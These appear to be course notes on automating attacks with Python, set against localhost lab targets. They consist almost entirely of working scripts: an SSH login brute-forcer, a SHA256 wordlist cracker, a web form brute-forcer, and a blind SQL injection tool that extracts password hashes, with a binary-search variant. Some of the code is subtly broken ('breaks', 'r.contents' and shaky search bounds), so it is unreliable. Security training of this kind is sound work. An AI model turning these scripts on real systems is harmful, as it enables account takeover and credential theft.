Skip to main content

0305 | Automating with Python

Project #1 | SSH login brute forcing

  • code | "ssh-brute.py"
    note

    The "passwords_list" file and an open ssh port is needed.

    from pwn import *		# to interact with the ssh service
    import paramiko # for error handling
    # under the hood the pwn module is making use of the paramiko module

    host = "127.0.0.1" # localhost
    username = "kali"
    attempts = 0 # number of attempts

    with open("ssh-common-passwords.txt", "r") as password_list:
    for password in password_list:
    password = password.strip("\n")

    # us try-catch for authentication errors
    try:
    print("[{}] Attempting password: '{}'!".format(attempts, password))
    response = ssh(host=host, user=username, password=password, timeout=1)

    # authenticated connection
    if response.connected():
    print("[>] Valid password found: '{}'!".format(password))
    response.close()
    # already found the valid one, no need to look further
    break
    response.close()

    except paramiko.ssh_exception.AuthenticationException:
    print("[X] Invalid password!")
    attempts += 1

Project #2 | SHA256 password cracking

  • code | "sha256-crack.py"
    from pwn import*
    import sys

    if len(sys.argv) != 2:
    print("Invalid arguments!")
    print(">> {} <sha256sum>".format(sys.argv[0]))
    exit()

    wanted_hash = sys.argv[1]
    print(wanted_hash)

    password_file = "rockyou.txt"
    attempts = 0 # for recording the number of attempts made

    # imported from the pwn module
    with log.progress("Attempting to crack: {}!\n".format(wanted_hash)) as p:
    with open(password_file, "r", encoding='latin-1') as password_list:
    for password in password_list:
    password = password.strip("\n").encode('latin-1')

    # create the hash for the current password -- imported from pwn module
    # sha256 in hex format!!!
    password_hash = sha256sumhex(password)

    # update the status of the cracking job
    p.status("[{}] {} == {}".format(attempts, password.decode('latin-1'), password_hash))

    if password_hash == wanted_hash:
    p.success("Passoword hash found after {} attempts! {} hashes to {}!".format(attempts, password.decode('latin-1'), password_hash))
    exit()
    attempts += 1

    # failure -- no matching password found
    p.failure("Password hash not found!")


    # to run it -- test with 'python'
    # `echo -ne python | sha256sum`
    # `python3 sha256-crack.py 11a4a60b518bf24989d481468076e5d5982884626aed9faeb35b8576fcd223e1`

Project #3 | Web login form brute forcing

  • code | "web-brute.py"
    import requests
    import sys # for creating our own progress bar

    target = "http://127.0.0.1:5000"
    usernames = ["admin", "user", "test"]
    passwords = "top-100.txt"

    # displayed after successful authentication/login
    needle = "Welcome back"

    for username in usernames:
    with open(passwords, "r") as passwords_list:
    for password in passwords_list:

    # clean it up
    password = password.strip("\n").encode()

    # write out and jump back to the start of the line with carrige return
    sys.stdout.write("[X] Attempting user:password -> {}:{}\r".format(username, password.decode()))

    # flush the buffer
    sys.stdout.flush()

    # sending the request
    r = requests.post(target, data={"username": username, "password": password})

    # check if successful login
    if needle.encode() in r.content:
    sys.stdout.write("\n")
    sys.stdout.write("\t[>>>>>] Valid password '{}' found for user '{}'!".format(password.decode(), username))
    sys.exit()

    sys.stdout.flush()
    sys.stdout.write("\n")
    sys.stdout.write("\tNo password found for '{}'!".format(username))
    sys.stdout.write("\n")

Project #4 | Exploiting a SQL injection

  • automating performing an SQL injection with python
  • exploiting a blind SQL injection vulnerability
  • code | "sql-inject.py"
    import requests

    total_queries = 0
    # the charset for the injection
    # the extracted data format will be in hex
    charset = "0123456789abcdef"
    target = "http://127.0.0.1:5000"
    needle = "Welcome back"

    def injected_query(payload):
    global total_queries

    # make the request -- blind sql injection
    r = requests.post(target, data = {"username" : "admin' and {}--".format(payload), "password":"password"})
    total_queries += 1

    # check if request succeeded or failed -- use it as inference
    return needle.encode() not in r.contents

    def boolean_query(offset, user_id, character, operator=">"):
    payload = "(select hex(substr(password,{},1)) from user where id = {}) {} hex('{}')".format(offset+1, user_id, operator, character)
    return injected_query(payload)

    # check if user is valid
    def invalid_user(user_id):
    payload = "(select id from user where id = {}) >= 0".format(user_id)
    return injected_query(payload)

    # check the length of the user's password hash
    # increment till it can't be bigger --> proper length found
    def password_length(user_id):
    i = 0
    while True:
    payload = "(select length(password) from user where id = {} and length(password) <= {} limit 1)".format(user_id, i)
    if not injected_query(payload):
    return i
    i += 1

    # identify the user's hash -- brute-force chars for the indexes
    def extract_hash(charset, user_id, password_length):
    # the correcth hash
    found = ""

    # try every char for all the indexes
    for i in range(0, password_length):
    for j in range(len(charset)):

    # i:offset -- if valid request -> correct char found
    if boolean_query(i, user_id, charset[j]):
    found += charset[j]
    breaks

    # the correct password hash
    return found

    # print the current number of attempts and reset the counter
    def total_queries_taken():
    global total_queries
    print("\t\t[!] {} total queries!".format(total_queries))
    total_queries = 0

    # for interacting with the functions
    while True:
    try:
    user_id = input("> Enter a user ID to extract the password hash: ")

    # check for valid user
    if not invalid_user(user_id):

    # identify the password's hash length for the user
    user_password_length = password_length(user_id)
    print("\t[-] User {} has length: {}".format(user_id, user_password_length))
    total_queries_taken()

    # get the user's password hash
    print("\t[-] User {} hash: {}".format(user_id, extract_hash(charset, int(user_id), user_password_length)))
    total_queries_taken()

    else:
    print("\t[X] User {} does not exist!".format(user_id))

    except KeyboardInterrupt:
    break

Project #5 | Exploiting a restricted SQL injection

  • Exploiting a restricted SQLi
    • Why not use SQLmap?
      • What if the tool can't find the query?
      • What if there was a limit on the number of queries?
        • example: access to an API key with limited amount or request/day
    • How did our SQLi work anyway?
      • Blind SQLi | we can extract 1 piece of information in a request
        • 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
        • only one question --> either True or False
    • What if we could only make 128 queries?
      • 32 'character' MD5 password
      • 16 'options' per character
      • 128/32 = 4 requests per 'character'
    • Tricky to do with existing tools, solvable problem with a custom script!
  • Binary Search
    • We know the minimum and maximum values (0 and f)
    • Instead of guessing the unknown value, compare with the middle
      • If less, compare again, with the new minimum and maximum from the left
      • If more, compare again, with the new minimum and maximum from the right
  • Binary Search | examples
    • result: 6
      Query #AlphabetQuestionResult
      10123456789abcdef>7?False
      201234567>3?True
      334567>5?True
      4567>6?False
    • result: b
      Query #AlphabetQuestionResult
      10123456789abcdef>7?True
      2789abcdef>b?False
      3789ab>9?True
      49ab>a?True
  • code | Improve on "sql-inject.py"
    import requests

    total_queries = 0
    # the charset for the injection
    # the extracted data format will be in hex
    charset = "0123456789abcdef"
    target = "http://127.0.0.1:5000"
    needle = "Welcome back"

    def injected_query(payload):
    global total_queries

    # make the request -- blind sql injection
    r = requests.post(target, data = {"username" : "admin' and {}--".format(payload), "password":"password"})
    total_queries += 1

    # check if request succeeded or failed -- use it as inference
    return needle.encode() not in r.contents

    def boolean_query(offset, user_id, character, operator=">"):
    payload = "(select hex(substr(password,{},1)) from user where id = {}) {} hex('{}')".format(offset+1, user_id, operator, character)
    return injected_query(payload)

    # check if user is valid
    def invalid_user(user_id):
    payload = "(select id from user where id = {}) >= 0".format(user_id)
    return injected_query(payload)

    # check the length of the user's password hash
    # increment till it can't be bigger --> proper length found
    def password_length(user_id):
    i = 0
    while True:
    payload = "(select length(password) from user where id = {} and length(password) <= {} limit 1)".format(user_id, i)
    if not injected_query(payload):
    return i
    i += 1

    # identify the user's hash -- brute-force chars for the indexes
    def extract_hash(charset, user_id, password_length):
    # the correcth hash
    found = ""

    # try every char for all the indexes
    for i in range(0, password_length):
    for j in range(len(charset)):

    # i:offset -- if valid request -> correct char found
    if boolean_query(i, user_id, charset[j]):
    found += charset[j]
    breaks

    # the correct password hash
    return found

    ######### IMPROVED PART -- BINARY SEARCH
    def extract_hash_bst(charset, user_id, password_length):
    found = ""

    for index in range(0, password_length):
    start = 0
    end = len(charset) - 1

    # while we still have a middle
    while start <= end:

    if end - start == 1:
    # our search space is exhausted -- we do not need to keep iterating over the middle

    if start == 0 and boolean_query(index, user_id, charset[start]):
    found += charset[start]
    else:
    found += charset[start + 1]
    break

    else:
    # search space in NOT yet exhausted
    middle = (start + end) // 2

    if boolean_query(index, user_id, charset[middle]):
    end = middle
    else:
    start = middle

    return found
    ######### IMPROVED PART -- BINARY SEARCH

    # print the current number of attempts and reset the counter
    def total_queries_taken():
    global total_queries
    print("\t\t[!] {} total queries!".format(total_queries))
    total_queries = 0

    # for interacting with the functions
    while True:
    try:
    user_id = input("> Enter a user ID to extract the password hash: ")

    # check for valid user
    if not invalid_user(user_id):

    # identify the password's hash length for the user
    user_password_length = password_length(user_id)
    print("\t[-] User {} has length: {}".format(user_id, user_password_length))
    total_queries_taken()

    # get the user's password hash
    print("\t[-] User {} hash: {}".format(user_id, extract_hash(charset, int(user_id), user_password_length)))
    total_queries_taken()

    ######### IMPROVED PART -- BINARY SEARCH
    print("\t[-] User {} hash: {}".format(user_id, extract_hash_bst(charset, int(user_id), user_password_length)))
    total_queries_taken()
    ######### IMPROVED PART -- BINARY SEARCH

    else:
    print("\t[X] User {} does not exist!".format(user_id))

    except KeyboardInterrupt:
    break